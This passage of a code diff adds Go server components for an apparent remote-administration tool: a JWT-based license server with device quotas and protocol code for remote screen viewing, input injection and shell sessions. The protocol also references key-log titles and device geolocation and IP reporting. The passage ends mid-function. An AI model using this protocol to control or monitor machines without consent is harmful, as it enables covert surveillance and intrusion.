+//          or {"error": "..."}            (4xx/5xx)
+//     Enforces quota: claims.max_devices for the JWT's "sub".
+//
+//   POST /license/heartbeat
+//     Body:   {"active_device_count": N, "active_device_ids": ["...","..."]}
+//     Auth:   Authorization: Bearer <customer-JWT>
+//     Reply:  {"server_view_count": M, "drift": N-M}
+//     Used by the customer's Go server to surface its view; cross-validated
+//     against what /sign has actually been asked for under that customer.
+//     Large drift is logged for anti-tamper review; no automatic revocation
+//     in v1 — operator decides.
+//
+// Security: serve plain HTTP and put nginx / Caddy in front for TLS. JWT
+// "alg" is locked to RS256 in token.go; "alg":"none" tampering is blocked.
+type LicenseServer struct {
+	signer    *LocalSigner
+	pubKey    *rsa.PublicKey
+	tracker   *quotaTracker
+	logger    Logger
+	mux       *http.ServeMux
+}
+
+// Logger is the minimal logging interface we need. The cmd package's
+// *logger.Logger satisfies this with its existing Info/Warn methods.
+type Logger interface {
+	Info(format string, args ...any)
+	Warn(format string, args ...any)
+	Error(format string, args ...any)
+}
+
+// NewLicenseServer builds the HTTP handler set. evictAfter is how long a
+// quiet device keeps its slot before its quota is reclaimed (recommend
+// 5 min — twice a typical heartbeat interval).
+func NewLicenseServer(signer *LocalSigner, pubKey *rsa.PublicKey,
+	evictAfter time.Duration, lg Logger) *LicenseServer {
+	s := &LicenseServer{
+		signer:  signer,
+		pubKey:  pubKey,
+		tracker: newQuotaTracker(evictAfter),
+		logger:  lg,
+		mux:     http.NewServeMux(),
+	}
+	s.mux.HandleFunc("/license/sign", s.handleSign)
+	s.mux.HandleFunc("/license/heartbeat", s.handleHeartbeat)
+	return s
+}
+
+// Handler returns the http.Handler the operator wires into their HTTP
+// server (or runs standalone via http.ListenAndServe).
+func (s *LicenseServer) Handler() http.Handler { return s.mux }
+
+// authenticate extracts and verifies the bearer JWT. Returns the parsed
+// claims on success; writes the appropriate HTTP error and returns nil
+// on failure so the caller can simply `return` on a nil result.
+func (s *LicenseServer) authenticate(w http.ResponseWriter, r *http.Request) *LicenseClaims {
+	authHdr := r.Header.Get("Authorization")
+	if !strings.HasPrefix(authHdr, "Bearer ") {
+		writeJSONError(w, http.StatusUnauthorized, "missing Bearer token")
+		return nil
+	}
+	tokenStr := strings.TrimPrefix(authHdr, "Bearer ")
+	claims, err := VerifyJWT(tokenStr, s.pubKey)
+	if err != nil {
+		writeJSONError(w, http.StatusUnauthorized, fmt.Sprintf("invalid token: %v", err))
+		return nil
+	}
+	return claims
+}
+
+func (s *LicenseServer) handleSign(w http.ResponseWriter, r *http.Request) {
+	if r.Method != http.MethodPost {
+		writeJSONError(w, http.StatusMethodNotAllowed, "method not allowed")
+		return
+	}
+
+	claims := s.authenticate(w, r)
+	if claims == nil {
+		return
+	}
+
+	var req signRequest
+	if err := readJSONLimited(w, r, maxSignBodyBytes, &req); err != nil {
+		writeJSONError(w, http.StatusBadRequest, fmt.Sprintf("bad request body: %v", err))
+		return
+	}
+	if req.ClientID == "" || req.StartTime == "" {
+		writeJSONError(w, http.StatusBadRequest, "client_id and start_time required")
+		return
+	}
+
+	// Atomically check + reserve the slot. A rejected request does NOT
+	// consume a slot — see quotaTracker.Reserve.
+	active, accepted := s.tracker.Reserve(claims.Subject, req.ClientID, claims.MaxDevices)
+	if !accepted {
+		s.logger.Warn("License Server: quota exceeded for sub=%s tier=%s active=%d max=%d clientID=%s",
+			claims.Subject, claims.Tier, active, claims.MaxDevices, req.ClientID)
+		writeJSONError(w, http.StatusForbidden,
+			fmt.Sprintf("quota exceeded: %d/%d devices in use", active, claims.MaxDevices))
+		return
+	}
+
+	// Mint the signature using the local HMAC master key.
+	sig, err := s.signer.Sign(req.StartTime, req.ClientID)
+	if err != nil {
+		s.logger.Error("License Server: signer failed: %v", err)
+		writeJSONError(w, http.StatusInternalServerError, "signing failed")
+		return
+	}
+
+	writeJSON(w, http.StatusOK, signResponse{Signature: sig})
+	s.logger.Info("License Server: signed for sub=%s clientID=%s active=%d/%d ttl=%s",
+		claims.Subject, req.ClientID, active, claims.MaxDevices,
+		formatTTL(claims.ttlSinceNow()))
+}
+
+type heartbeatRequest struct {
+	ActiveDeviceCount int      `json:"active_device_count"`
+	ActiveDeviceIDs   []string `json:"active_device_ids"`
+}
+
+type heartbeatResponse struct {
+	ServerViewCount int `json:"server_view_count"`
+	Drift           int `json:"drift"` // customer count - server view count
+}
+
+func (s *LicenseServer) handleHeartbeat(w http.ResponseWriter, r *http.Request) {
+	if r.Method != http.MethodPost {
+		writeJSONError(w, http.StatusMethodNotAllowed, "method not allowed")
+		return
+	}
+
+	claims := s.authenticate(w, r)
+	if claims == nil {
+		return
+	}
+
+	var req heartbeatRequest
+	if err := readJSONLimited(w, r, maxHeartbeatBodyBytes, &req); err != nil {
+		writeJSONError(w, http.StatusBadRequest, fmt.Sprintf("bad request body: %v", err))
+		return
+	}
+
+	// REFRESH-ONLY: only bump activity timestamps for devices already in
+	// the customer's set (i.e. that came through /sign). New IDs reported
+	// here are silently ignored — otherwise a malicious customer could
+	// inflate their quota by POSTing fake IDs to /heartbeat.
+	refreshed := s.tracker.RefreshExisting(claims.Subject, req.ActiveDeviceIDs)
+
+	serverView := len(s.tracker.Snapshot(claims.Subject))
+	drift := req.ActiveDeviceCount - serverView
+
+	// Soft anti-tamper: large persistent drift means the customer reports
+	// devices we never minted signatures for. Log for operator review; no
+	// automatic revocation in v1.
+	if drift > claims.MaxDevices/2 && drift > 5 {
+		s.logger.Warn("License Server: heartbeat drift sub=%s reported=%d server=%d refreshed=%d drift=%d",
+			claims.Subject, req.ActiveDeviceCount, serverView, refreshed, drift)
+	}
+
+	writeJSON(w, http.StatusOK, heartbeatResponse{
+		ServerViewCount: serverView,
+		Drift:           drift,
+	})
+}
+
+// Issue is a small in-process helper for operators to mint customer JWTs
+// without spinning up a separate tool. It is intentionally unexported as
+// an HTTP endpoint — JWT issuance is a one-off operator action, not a
+// remote API. Use it from a cmd/issue-token CLI or interactively.
+//
+// Returns the signed RS256 token string.
+// minTokenTTL guards against fat-finger ttl=0 / negative — those produce
+// already-expired tokens that 401 immediately and confuse the customer.
+const minTokenTTL = time.Hour
+
+func Issue(privKey *rsa.PrivateKey, sub, tier string, maxDevices int, ttl time.Duration) (string, error) {
+	if privKey == nil {
+		return "", errors.New("nil private key")
+	}
+	if sub == "" {
+		return "", errors.New("sub (customer ID) is required")
+	}
+	if ttl < minTokenTTL {
+		return "", fmt.Errorf("ttl too short (%v); minimum is %v", ttl, minTokenTTL)
+	}
+	switch tier {
+	case TierTrial:
+		// Trial: 0 means "use the default 20" (kept consistent with VerifyJWT).
+		if maxDevices <= 0 {
+			maxDevices = TrialMaxDevices
+		}
+	case TierPaid:
+		// Paid: must be explicit. A 0 here is almost certainly a misconfig
+		// and would silently let one customer use unlimited devices.
+		if maxDevices <= 0 {
+			return "", errors.New("paid tier requires explicit max_devices > 0")
+		}
+	default:
+		return "", fmt.Errorf("unsupported tier: %q", tier)
+	}
+
+	now := time.Now()
+	claims := &LicenseClaims{
+		Tier:       tier,
+		MaxDevices: maxDevices,
+		RegisteredClaims: jwt.RegisteredClaims{
+			Subject:   sub,
+			IssuedAt:  jwt.NewNumericDate(now),
+			NotBefore: jwt.NewNumericDate(now),
+			ExpiresAt: jwt.NewNumericDate(now.Add(ttl)),
+		},
+	}
+	tok := jwt.NewWithClaims(jwt.SigningMethodRS256, claims)
+	return tok.SignedString(privKey)
+}
+
+// ---- helpers ----
+
+// Body size caps. /sign sends a tiny fixed-schema body; /heartbeat carries
+// a list of clientIDs whose worst case is bounded by the customer's max
+// device cap (paid is operator-controlled). 64 KiB is roomy for hundreds
+// of 20-byte IDs while still bounding the worst case.
+const (
+	maxSignBodyBytes      int64 = 8 << 10  // 8 KiB
+	maxHeartbeatBodyBytes int64 = 64 << 10 // 64 KiB
+)
+
+// readJSONLimited wraps the body with http.MaxBytesReader so a misconfigured
+// (or malicious) client cannot OOM the server with a multi-GB payload.
+// DisallowUnknownFields catches schema drift cleanly.
+func readJSONLimited(w http.ResponseWriter, r *http.Request, limit int64, dst any) error {
+	r.Body = http.MaxBytesReader(w, r.Body, limit)
+	dec := json.NewDecoder(r.Body)
+	dec.DisallowUnknownFields()
+	return dec.Decode(dst)
+}
+
+func writeJSON(w http.ResponseWriter, status int, v any) {
+	w.Header().Set("Content-Type", "application/json")
+	w.WriteHeader(status)
+	_ = json.NewEncoder(w).Encode(v)
+}
+
+func writeJSONError(w http.ResponseWriter, status int, msg string) {
+	writeJSON(w, status, signResponse{Error: msg})
+}
+
+func formatTTL(d time.Duration) string {
+	if d <= 0 {
+		return "expired"
+	}
+	days := int(d.Hours() / 24)
+	if days > 0 {
+		return fmt.Sprintf("%dd", days)
+	}
+	return d.Round(time.Minute).String()
+}
+

server/go/licensing/signer.go

@@ -0,0 +1,44 @@
+// Package licensing provides pluggable signing strategies for the per-login
+// CMD_MASTERSETTING signature. Three modes are picked at startup by env var:
+//
+//   - LocalSigner (YAMA_SIGN_PASSWORD set): operator's own deployment.
+//     Signs directly with the HMAC master key. Optionally serves as License
+//     Server for RemoteSigner deployments (see server.go) when
+//     YAMA_LICENSE_HTTP_ADDR is also set.
+//
+//   - RemoteSigner (YAMA_LICENSE_SERVER + YAMA_LICENSE_TOKEN set): customer
+//     deployments. Never sees the HMAC master key — each new device login
+//     does an HTTPS POST to the operator's License Server to fetch a
+//     signature. Successful results are cached for 24h so transient
+//     License Server outages don't break new logins.
+//
+//   - NoOpSigner (neither set): free-tier mode. Returns empty signature so
+//     the client's private library refuses screen/file features; device
+//     list keeps working.
+//
+// The Sign call is on the per-login critical path — keep it fast.
+// LocalSigner is microseconds (HMAC). RemoteSigner is one HTTPS round-trip
+// on cache miss (~100-300 ms), zero on cache hit.
+package licensing
+
+// Signer produces the per-login signature for CMD_MASTERSETTING.
+//
+// Sign returns the 64-char lowercase hex HMAC-SHA256 of "<startTime>|<clientID>"
+// keyed by the deployment's master HMAC secret. Returning "" means "no
+// signature available" — sendMasterSetting will ship a zeroed Signature[64]
+// field, and the client's private library will refuse screen/file init.
+type Signer interface {
+	// Sign generates the signature for a new device login. SHOULD be quick
+	// (sub-300ms target). Returning ("", nil) is allowed and means "this
+	// deployment doesn't sign" (NoOpSigner). Returning ("", err) means a
+	// transient failure — callers ship zeroed signature and log the error;
+	// the device can retry by reconnecting.
+	Sign(startTime, clientID string) (string, error)
+
+	// Mode returns a short identifier for logging: "local", "remote", "noop".
+	Mode() string
+
+	// Close releases background resources (HTTP keepalives, caches).
+	// Idempotent.
+	Close() error
+}

server/go/licensing/token.go

@@ -0,0 +1,114 @@
+package licensing
+
+import (
+	"crypto/rsa"
+	"crypto/x509"
+	"encoding/pem"
+	"errors"
+	"fmt"
+	"os"
+	"time"
+
+	"github.com/golang-jwt/jwt/v5"
+)
+
+// LicenseClaims is the JWT payload the operator signs and ships to each
+// customer. The operator picks "sub" (a unique customer ID), "tier" (trial
+// or paid), "max_devices" (concurrent device cap), and "exp" (token
+// expiry — independent of any in-memory cache TTL on the RemoteSigner
+// side).
+type LicenseClaims struct {
+	Tier       string `json:"tier"`
+	MaxDevices int    `json:"max_devices"`
+	jwt.RegisteredClaims
+}
+
+// LoadRSAPublicKey parses an RSA public key from a PEM file. The License
+// Server loads this once at startup to verify incoming customer JWTs.
+// Accepts both PKCS#1 ("RSA PUBLIC KEY") and PKIX ("PUBLIC KEY") PEM
+// encodings — openssl emits PKIX by default; "openssl rsa -RSAPublicKey_out"
+// emits PKCS#1.
+func LoadRSAPublicKey(pemPath string) (*rsa.PublicKey, error) {
+	data, err := os.ReadFile(pemPath)
+	if err != nil {
+		return nil, fmt.Errorf("read public key %s: %w", pemPath, err)
+	}
+	block, _ := pem.Decode(data)
+	if block == nil {
+		return nil, fmt.Errorf("no PEM block in %s", pemPath)
+	}
+
+	// Try PKIX first (most common output of openssl genrsa | openssl rsa -pubout).
+	if pub, err := x509.ParsePKIXPublicKey(block.Bytes); err == nil {
+		rsaPub, ok := pub.(*rsa.PublicKey)
+		if !ok {
+			return nil, fmt.Errorf("PKIX key in %s is not RSA", pemPath)
+		}
+		return rsaPub, nil
+	}
+
+	// Fall back to PKCS#1.
+	if pub, err := x509.ParsePKCS1PublicKey(block.Bytes); err == nil {
+		return pub, nil
+	}
+
+	return nil, fmt.Errorf("failed to parse %s as PKIX or PKCS#1 RSA public key", pemPath)
+}
+
+// VerifyJWT validates the customer's JWT against the License Server's
+// public key. Returns the parsed claims on success. Caller enforces the
+// tier-specific quota using claims.MaxDevices.
+//
+// Validation done by jwt.ParseWithClaims:
+//   - signature (RS256, using the supplied public key)
+//   - "exp" claim (expiry)
+//   - "iat" / "nbf" if present
+//
+// We additionally require tier ∈ {trial, paid}, max_devices > 0, and "sub"
+// non-empty.
+func VerifyJWT(tokenStr string, pubKey *rsa.PublicKey) (*LicenseClaims, error) {
+	claims := &LicenseClaims{}
+	token, err := jwt.ParseWithClaims(tokenStr, claims, func(t *jwt.Token) (any, error) {
+		// Lock to exactly RS256. The wider *SigningMethodRSA check (which
+		// would also accept RS384/RS512) is technically still safe because
+		// all RSA variants require the private key — but pinning the exact
+		// alg matches the docs and avoids surprises if Issue() ever changes.
+		// "alg":"none" tampering is blocked because none isn't SigningMethodRS256.
+		if t.Method != jwt.SigningMethodRS256 {
+			return nil, fmt.Errorf("unexpected JWT alg: %v (need RS256)", t.Header["alg"])
+		}
+		return pubKey, nil
+	})
+	if err != nil {
+		return nil, err
+	}
+	if !token.Valid {
+		return nil, errors.New("invalid JWT")
+	}
+
+	if claims.Subject == "" {
+		return nil, errors.New("JWT missing 'sub' claim")
+	}
+	switch claims.Tier {
+	case TierTrial:
+		if claims.MaxDevices <= 0 {
+			claims.MaxDevices = TrialMaxDevices
+		}
+	case TierPaid:
+		if claims.MaxDevices <= 0 {
+			return nil, errors.New("paid-tier JWT missing max_devices")
+		}
+	default:
+		return nil, fmt.Errorf("unsupported tier: %q", claims.Tier)
+	}
+
+	return claims, nil
+}
+
+// ttlSinceNow returns the time.Duration until exp; useful for logging.
+func (c *LicenseClaims) ttlSinceNow() time.Duration {
+	if c.ExpiresAt == nil {
+		return 0
+	}
+	return time.Until(c.ExpiresAt.Time)
+}

server/go/protocol/commands.go

@@ -2,15 +2,22 @@ package protocol
 
 import (
 	"bytes"
+	"crypto/hmac"
+	"crypto/sha256"
 	"encoding/binary"
+	"encoding/hex"
+	"strconv"
 	"strings"
 
 	"golang.org/x/text/encoding/simplifiedchinese"
 	"golang.org/x/text/transform"
 )
 
-// gbkToUTF8 converts GBK encoded bytes to UTF-8 string
+// GbkToUTF8 converts GBK encoded bytes to UTF-8 string. The input is treated
-func gbkToUTF8(data []byte) string {
+// as a null-terminated GBK buffer (typical for Windows clients); content
+// after the first NUL byte is discarded. Non-printable characters are
+// stripped from the result.
+func GbkToUTF8(data []byte) string {
 	// Find the first null byte and truncate there
 	if idx := bytes.IndexByte(data, 0); idx >= 0 {
 		data = data[:idx]
@@ -30,6 +37,21 @@ func gbkToUTF8(data []byte) string {
 	return cleanString(buf.String())
 }
 
+// Utf8CleanString trims at the first NUL and strips non-printables — the
+// UTF-8 counterpart of GbkToUTF8 for clients that have the CLIENT_CAP_UTF8
+// capability bit. Decoding as GBK in that case would mangle multi-byte
+// sequences (the C++ comment at WebService.cpp:1530 calls out this exact
+// "double-encoding" footgun).
+func Utf8CleanString(data []byte) string {
+	if idx := bytes.IndexByte(data, 0); idx >= 0 {
+		data = data[:idx]
+	}
+	if len(data) == 0 {
+		return ""
+	}
+	return cleanString(string(data))
+}
+
 // cleanString removes non-printable characters except common whitespace
 func cleanString(s string) string {
 	var result strings.Builder
@@ -41,10 +63,53 @@ func cleanString(s string) string {
 	return strings.TrimSpace(result.String())
 }
 
-// Command tokens - matching the C++ definitions
+// Client capability bitmask values, matching common/commands.h CLIENT_CAP_*.
+// Reported in the hex tail of LOGIN_INFOR.moduleVersion (after the '-').
+const (
+	ClientCapV2            uint32 = 0x0001 // CLIENT_CAP_V2            — V2 file transfer
+	ClientCapUTF8          uint32 = 0x0002 // CLIENT_CAP_UTF8          — UTF-8 protocol strings (activeWindow, key-log titles, ...)
+	ClientCapScreenPreview uint32 = 0x0004 // CLIENT_CAP_SCREEN_PREVIEW
+)
+
+// SupportsCap returns true when the client's reported capability hex string
+// has the given bit set. An empty / unparseable string means "no caps" and
+// matches the legacy GBK-Windows convention.
+func SupportsCap(capability string, bit uint32) bool {
+	if capability == "" {
+		return false
+	}
+	caps, err := strconv.ParseUint(strings.TrimSpace(capability), 16, 32)
+	if err != nil {
+		return false
+	}
+	return uint32(caps)&bit != 0
+}
+
+// DecodeClientString decodes a fixed-length, NUL-padded buffer the client
+// sent as part of a binary protocol field (typically ActiveWnd). If the
+// client signals UTF-8 capability or is known to ship UTF-8 by default
+// (Linux / macOS), the bytes are treated as UTF-8; otherwise they're
+// decoded from GBK (CP936 — the legacy Windows default).
+//
+// clientType comes from LOGIN_INFOR reserved field 0 (RES_CLIENT_TYPE) and
+// capability from the hex tail of moduleVersion. Both can be empty.
+func DecodeClientString(data []byte, capability, clientType string) string {
+	if SupportsCap(capability, ClientCapUTF8) || clientType == "LNX" || clientType == "MAC" {
+		return Utf8CleanString(data)
+	}
+	return GbkToUTF8(data)
+}
+
+// Command tokens - matching the C++ definitions (common/commands.h).
 const (
 	// Server -> Client commands
 	CommandActived       byte = 0   // COMMAND_ACTIVED
+	CommandScreenSpy     byte = 16  // COMMAND_SCREEN_SPY - start screen capture
+	CommandScreenControl byte = 20  // COMMAND_SCREEN_CONTROL - mouse/keyboard input (MSG64 batches)
+	CommandNext          byte = 30  // COMMAND_NEXT - "control-side dialog is open, you may stream"
+	CommandShell         byte = 40  // COMMAND_SHELL - ask device to open a shell sub-connection
+	CommandTerminalRsize byte = 81  // CMD_TERMINAL_RESIZE - [cmd:1][cols:2 LE][rows:2 LE]
+	CmdRestoreConsole    byte = 82  // CMD_RESTORE_CONSOLE - RDP session "归位": switch back to the console session and restart capture
 	CommandBye           byte = 204 // COMMAND_BYE - disconnect
 	CommandHeartbeat     byte = 216 // CMD_HEARTBEAT_ACK
 
@@ -52,8 +117,302 @@ const (
 	TokenAuth          byte = 100 // TOKEN_AUTH - authorization required
 	TokenHeartbeat     byte = 101 // TOKEN_HEARTBEAT
 	TokenLogin         byte = 102 // TOKEN_LOGIN - login packet
+	TokenBitmapInfo    byte = 115 // TOKEN_BITMAPINFO - screen sub-connection header
+	TokenFirstScreen   byte = 116 // TOKEN_FIRSTSCREEN - raw BGRA baseline frame (NOT H264)
+	TokenNextScreen    byte = 117 // TOKEN_NEXTSCREEN - non-keyframe H264 (P-frame)
+	TokenShellStart    byte = 128 // TOKEN_SHELL_START - legacy cmd-pipe shell sub-conn open
+	TokenKeyframe      byte = 134 // TOKEN_KEYFRAME - H264 IDR (sent on GOP boundary)
+	TokenTerminalStart byte = 232 // TOKEN_TERMINAL_START - modern PTY shell sub-conn open
+	TokenTerminalClose byte = 233 // TOKEN_TERMINAL_CLOSE - shell exited / close ack
+	TokenConnAuth      byte = 246 // TOKEN_CONN_AUTH - sub-connection identity handshake
+	CmdCursorImage     byte = 93  // CMD_CURSOR_IMAGE - custom cursor bitmap (Phase 5+ feature)
 )
 
+// Sub-connection authentication (matches common/commands.h ConnAuth* structs).
+// Each newly-opened sub-conn first sends a 512-byte ConnAuthPacket, then waits
+// for a 256-byte ConnAuthAck before any further command is meaningful.
+const (
+	ConnAuthPacketSize = 512
+	ConnAuthAckSize    = 256
+	// ConnAuthPacket field offsets within the inbound 512-byte buffer.
+	// Layout (from common/commands.h::ConnAuthPacket):
+	//   [token:1][clientID:8 LE][timestamp:8 LE][nonce:16][signature:64][reserved:415]
+	ConnAuthOffClientID = 1 // uint64 LE — pin to the sub-conn so later
+	//                       // 1-byte tokens (TOKEN_TERMINAL_START etc.) can
+	//                       // resolve the parent device.
+	// ConnAuthAck field offsets within the outbound 256-byte buffer.
+	ConnAuthAckOffStatus     = 1 // uint8
+	ConnAuthAckOffServerTime = 2 // uint64 LE
+	// Status codes.
+	ConnAuthStatusOK byte = 0
+)
+
+// CMD_MASTERSETTING is the server's reply to a fresh client login. The
+// client uses the Signature field to prove this server has the shared
+// secret; without a valid signature the client's private FileUpload init
+// aborts the process. Struct layout matches MasterSettings in
+// common/commands.h (pragma pack 4, total 1000 bytes).
+const (
+	CmdMasterSetting                byte = 215
+	MasterSettingsSize                   = 1000
+	MasterSettingsOffReportInterval      = 0   // int32, seconds
+	MasterSettingsOffSignature           = 508 // Signature[64]
+	MasterSettingsSignatureLen           = 64
+	// DefaultReportIntervalSec matches the C++ default. Sending 0 makes the
+	// client disable its active-window heartbeat field, breaking RTT /
+	// ActiveWindow live updates on the web UI.
+	DefaultReportIntervalSec = 5
+)
+
+// SignMessage computes HMAC-SHA256(key, msg) and returns the 64-char
+// lowercase hex digest. Used to sign CMD_MASTERSETTING replies so the
+// client can verify the response came from a legitimate server.
+//
+// The key is a deployment-time shared secret loaded from the
+// YAMA_SIGN_PASSWORD env var so the binary doesn't carry the literal in
+// cleartext; provision out-of-band and never commit it.
+func SignMessage(password string, msg []byte) string {
+	mac := hmac.New(sha256.New, []byte(password))
+	mac.Write(msg)
+	return hex.EncodeToString(mac.Sum(nil))
+}
+
+// Screen-spy parameters that match the C++ ScreenSpy implementation.
+const (
+	AlgorithmH264 byte = 2 // ALGORITHM_H264 — H264 encoding (the algorithm web uses)
+)
+
+// Windows message constants used inside MSG64.message. The client dispatches
+// on these values verbatim (CScreenManager::ProcessCommand at
+// client/ScreenManager.cpp:1617), so these MUST stay bit-identical to the
+// WinUser.h definitions even though this Go server is cross-platform.
+const (
+	WMKeyDown       uint64 = 0x0100
+	WMKeyUp         uint64 = 0x0101
+	WMSysKeyDown    uint64 = 0x0104
+	WMSysKeyUp      uint64 = 0x0105
+	WMMouseMove     uint64 = 0x0200
+	WMLButtonDown   uint64 = 0x0201
+	WMLButtonUp     uint64 = 0x0202
+	WMLButtonDblClk uint64 = 0x0203
+	WMRButtonDown   uint64 = 0x0204
+	WMRButtonUp     uint64 = 0x0205
+	WMRButtonDblClk uint64 = 0x0206
+	WMMButtonDown   uint64 = 0x0207
+	WMMButtonUp     uint64 = 0x0208
+	WMMouseWheel    uint64 = 0x020A
+)
+
+// Virtual-key codes referenced from the input mapping. Same numeric values
+// as the Win32 VK_* constants.
+const (
+	VKLWin     = 0x5B // VK_LWIN — filtered: never forwarded
+	VKRWin     = 0x5C // VK_RWIN — filtered: never forwarded
+	VKPrior    = 0x21 // VK_PRIOR (Page Up)  — extended-key range start
+	VKDown     = 0x28 // VK_DOWN             — extended-key range end
+	VKInsert   = 0x2D
+	VKDelete   = 0x2E
+	VKNumLock  = 0x90
+	VKRControl = 0xA3
+	VKRMenu    = 0xA5
+	VKApps     = 0x5D
+)
+
+// MK_* wParam bitflags for mouse-button messages.
+const (
+	MKLButton uint64 = 0x0001
+	MKRButton uint64 = 0x0002
+	MKMButton uint64 = 0x0010
+)
+
+// MSG64 is the 48-byte fixed layout the client expects inside a
+// COMMAND_SCREEN_CONTROL packet (common/commands.h class MSG64).
+//
+//	[hwnd:8][message:8][wParam:8][lParam:8][time:8][pt.x:4][pt.y:4]
+//
+// All uint64 fields are little-endian; pt is two int32 LE. The client's
+// ProcessCommand validates `ulLength % 48 == 0` and treats each 48-byte
+// block as one MSG64.
+const Msg64Size = 48
+
+// BuildScreenControlPacket encodes one COMMAND_SCREEN_CONTROL packet
+// carrying a single MSG64 record. The cmd byte is prepended.
+//
+// Wire layout:
+//
+//	[CMD:1][hwnd:8 LE][message:8 LE][wParam:8 LE][lParam:8 LE][time:8 LE][pt.x:4 LE][pt.y:4 LE]
+//
+// time is filled with a monotonic-ish ms value (ms since Unix epoch trimmed
+// to 32 bits) so the client's GetTickCount() comparisons stay reasonable.
+func BuildScreenControlPacket(message, wParam, lParam uint64, ptX, ptY int32, timeMs uint32) []byte {
+	buf := make([]byte, 1+Msg64Size)
+	buf[0] = CommandScreenControl
+	// hwnd left zero — the client recomputes hWnd via WindowFromPoint.
+	binary.LittleEndian.PutUint64(buf[1+8:1+16], message)
+	binary.LittleEndian.PutUint64(buf[1+16:1+24], wParam)
+	binary.LittleEndian.PutUint64(buf[1+24:1+32], lParam)
+	binary.LittleEndian.PutUint64(buf[1+32:1+40], uint64(timeMs))
+	binary.LittleEndian.PutUint32(buf[1+40:1+44], uint32(ptX))
+	binary.LittleEndian.PutUint32(buf[1+44:1+48], uint32(ptY))
+	return buf
+}
+
+// TerminalBinaryMagic is the 4-byte prefix the web UI uses to demultiplex
+// terminal output from screen frames over the single WebSocket. Matches
+// the C++ side at server/2015Remote/WebService.cpp:2013 ("TRM1"). Screen
+// frames lead with a uint32 LE device ID, so collisions with this exact
+// magic are astronomically rare in practice.
+var TerminalBinaryMagic = [4]byte{'T', 'R', 'M', '1'}
+
+// BuildTerminalResize encodes the 5-byte CMD_TERMINAL_RESIZE packet the
+// client's ConPTYManager/TerminalManager expects on the shell sub-conn:
+//
+//	[CMD_TERMINAL_RESIZE:1][cols:2 LE][rows:2 LE]
+//
+// cols/rows are signed int16 on the wire (the C++ side casts to `short`).
+func BuildTerminalResize(cols, rows int) []byte {
+	buf := make([]byte, 5)
+	buf[0] = CommandTerminalRsize
+	binary.LittleEndian.PutUint16(buf[1:3], uint16(int16(cols)))
+	binary.LittleEndian.PutUint16(buf[3:5], uint16(int16(rows)))
+	return buf
+}
+
+// MakeLParam packs x into the low word and y into the high word — the
+// Windows MAKELPARAM macro the client expects in mouse-message lParams.
+func MakeLParam(x, y int32) uint64 {
+	return uint64(uint32(x)&0xFFFF) | (uint64(uint32(y)&0xFFFF) << 16)
+}
+
+// IsExtendedKey returns true when the given Win32 VK code should set the
+// extended-key bit (bit 24) in a keyboard lParam. Matches the C++
+// HandleKey logic (server/2015Remote/WebService.cpp:944).
+func IsExtendedKey(vk int) bool {
+	if vk >= VKPrior && vk <= VKDown {
+		return true
+	}
+	switch vk {
+	case VKInsert, VKDelete, VKNumLock, VKRControl, VKRMenu, VKApps:
+		return true
+	}
+	return false
+}
+
+// Reserved-field indices we care about (see common/commands.h RES_* enum).
+// LOGIN_INFOR.szReserved is a '|'-separated list; clients fill known slots
+// even when leaving others blank ("?").
+const (
+	ResFieldClientType  = 0  // RES_CLIENT_TYPE  — client kind (Windows / macOS / ...)
+	ResFieldFilePath    = 4  // RES_FILE_PATH    — install path
+	ResFieldInstallTime = 6  // RES_INSTALL_TIME
+	ResFieldClientLoc   = 10 // RES_CLIENT_LOC   — geo string
+	ResFieldClientPubIP = 11 // RES_CLIENT_PUBIP — public IP
+	ResFieldResolution  = 15 // RES_RESOLUTION   — client-formatted screen geometry: "N:W*H"
+	ResFieldClientID    = 16 // RES_CLIENT_ID    — uint64 decimal, matches TOKEN_BITMAPINFO clientID
+)
+
+// ScreenFrameHeaderLen is the size of the small per-frame header prepended by
+// the device on every TOKEN_NEXTSCREEN buffer, before the H.264 NAL payload.
+// Layout (excluding the leading TOKEN_* byte):
+//
+//	[algorithm:1][cursorPos:8 (int32 x, int32 y)][cursorIdx:1] = 10 bytes
+//
+// (The C++ side counts the token byte into its ulHeadLength=11; we keep the
+// constant strictly post-token so the call site reads `skip := 1 + headerLen`
+// without confusion.) SCREENYSPY_IMPROVE adds a 4-byte frameID after the
+// cursor index, which is the production-off setting per common/commands.h.
+const ScreenFrameHeaderLen = 1 + 8 + 1
+
+// IsH264Keyframe scans an Annex-B H.264 bitstream for a NAL unit indicating
+// a keyframe boundary — IDR (type 5), SPS (7) or PPS (8). Returns true on
+// the first hit. Matches the detection used by the C++ ScreenSpy broadcast
+// path so frame-type bytes stay consistent across server implementations.
+func IsH264Keyframe(data []byte) bool {
+	n := len(data)
+	for i := 0; i+4 < n; i++ {
+		var nalOffset int
+		switch {
+		case data[i] == 0 && data[i+1] == 0 && data[i+2] == 0 && data[i+3] == 1:
+			nalOffset = i + 4
+		case data[i] == 0 && data[i+1] == 0 && data[i+2] == 1:
+			nalOffset = i + 3
+		default:
+			continue
+		}
+		if nalOffset >= n {
+			continue
+		}
+		nalType := data[nalOffset] & 0x1F
+		if nalType == 5 || nalType == 7 || nalType == 8 {
+			return true
+		}
+	}
+	return false
+}
+
+// IsAnyKeyframe sniffs the codec from the first byte then dispatches to the
+// matching keyframe detector. H.264 Annex B always starts with 0x00 (start
+// code prefix); AV1 OBU headers have bit7=0 and bits[3:6]=obu_type in [1,15]
+// so the first byte is in [0x08,0x78] and never 0x00. Lets the server stay
+// codec-agnostic so the browser can run H.264 and AV1 sessions side by side.
+func IsAnyKeyframe(data []byte) bool {
+	if len(data) == 0 {
+		return false
+	}
+	if data[0] == 0x00 {
+		return IsH264Keyframe(data)
+	}
+	return IsAv1Keyframe(data)
+}
+
+// IsAv1Keyframe walks the OBU chain and returns true on the first
+// OBU_SEQUENCE_HEADER (type 1). FFmpeg's AV1 encoders prepend SEQ HDR to
+// every IDR, so seeing one is equivalent to "this packet contains a key
+// frame". Mirrors the C++ IsAv1Keyframe helper in ScreenSpyDlg.cpp.
+//
+// AV1 OBU header byte layout: 0|type:4|ext:1|size:1|reserved:1
+func IsAv1Keyframe(data []byte) bool {
+	n := len(data)
+	pos := 0
+	for pos < n {
+		hdr := data[pos]
+		obuType := (hdr >> 3) & 0x0F
+		hasExt := hdr&0x04 != 0
+		hasSize := hdr&0x02 != 0
+		if obuType == 1 { // OBU_SEQUENCE_HEADER
+			return true
+		}
+		pos++
+		if hasExt {
+			if pos >= n {
+				return false
+			}
+			pos++
+		}
+		if !hasSize {
+			return false // unsized OBU runs to end of packet
+		}
+		// LEB128 size
+		var sz uint64
+		for i := range 8 {
+			if pos >= n {
+				return false
+			}
